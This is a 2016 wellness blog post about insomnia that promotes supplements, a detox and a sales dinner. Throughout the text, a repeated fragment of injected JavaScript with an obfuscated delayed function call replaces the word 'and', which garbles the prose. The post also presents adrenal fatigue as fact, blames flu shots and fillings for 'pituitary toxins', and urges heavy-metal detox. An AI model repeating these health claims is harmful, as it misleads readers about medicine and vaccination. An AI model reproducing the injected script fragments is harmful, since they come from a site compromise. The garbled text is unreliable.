Trouble Sleeping?

Posted On : April 27, 2016

Sleep, anxiety, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and depression have become the fastest growing symptom I am see with patients. It seems as if every patitne that walks through my doors has these symptoms.

It’s super frustrating to be exhausted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and know that you you’re body needs to sleep, but be able to get a good night's sleep.

If you are having challenges sleeping, there are several reasons for it.

1. Your adrenals are fatigued

The adrenals secrete a hormone called cortisol. Cortisol gives you energy to handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle a stressful event. Cortisol also plays an important roll in balancing blood sugar. If your blood sugar gets low, your adrenals will kick in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and release cortisol to elevate your blood sugar andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and prevent your brain from being deprived of the glucose it needs to function properly.

There are two things that kill the adrenals; long periods of stress andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and high consumption of sugar.

With a high stressed life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a daily sugar habit, your adrenals are working overtime. A classic symptom of adrenal exhaustion is not enough energy during the day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and waking up at 2-3am at night. The reason you wake up at this time is that your blood sugar goes low, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so the adrenals protect the brain andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and release cortisol to bring your blood sugar back up. This surge of cortisol will often happen around 2 or 3 am.

The solution: First, have a small amount of protein andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and good fat right before you go to bed. This will stabilize your blood sugar andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not cause the adrenals to react at 2am. Second solution, take an adrenal supplement during the day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 5-HTP at before you go to bed. One of my favorite daily adrenal supplement is Loving Energy put out by Bioray andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and  5-HTP supplement is Sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Mood Formula by Maximized Living. See links below or call my office manager 408-298-8092 to have them shipped to you.

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2. Your gut is damaged

I know. I sound like a broken record. But the gut plays such a huge part in your overall health. The gut produces important neurotransmitters that cause you to relax andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and go to sleep. One of those neurotransmitters is called GABA.

GABA tells your body to relax. If the micro biome of your gut is out of balance, meaning you have more bad bacteria than good, you will not naturally produce enough of this helpful neurotransmitter.

The solution: First, increase fermented foods such as kimchi andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sauerkraut. Both of these foods have small amounts of GABA in them andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and also will replenish your micorbiome andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and allow your body to make proper amounts of GABA. Second, supplement with GABA. My favorite is Adrenal Calm by Maximized Living.

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3. Your pituitary is packed with toxins

What? My pituitary????  I know this is a confusing concept. But your pituitary plays a crucial roll in balancing your hormones. It will have a dramatic effect on your adrenals. If you are trying to reduce your stress, you’ve cut way back on sugar, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and yet you are still not sleeping well, there is a good chance your pituitary is at play here.

Toxins like mercury andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lead damage the cells of your pituitary. Where do you get these heavy metals from? Almost everywhere, but the biggest is your amalgam fillings, flu shots, drinking water, paint in an old house to name a few.

The solution: do a heavy metal detox. This is a much more complicated process andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you need to be coached through it. But pulling heavy metals out of your body will dramatically change your health. Especially if you are having trouble sleeping, depressed, or weight loss resistant.

If you are having trouble sleeping andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and suspect your adrenals, gut, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pituitary are damaged come to our next RESET DINNER on May 5th.  I will tell you how to repair these three systems andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get you sleeping thought the night again. RSVP to this email andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and well hold you a spot.

Hope that helps! Reach out if you need anything from us. Me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my team are here to support you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cheer you on. Lean on us. We want you to be living in the healthy body you were born to live in.

Have an amazing day!

Dr. Mindy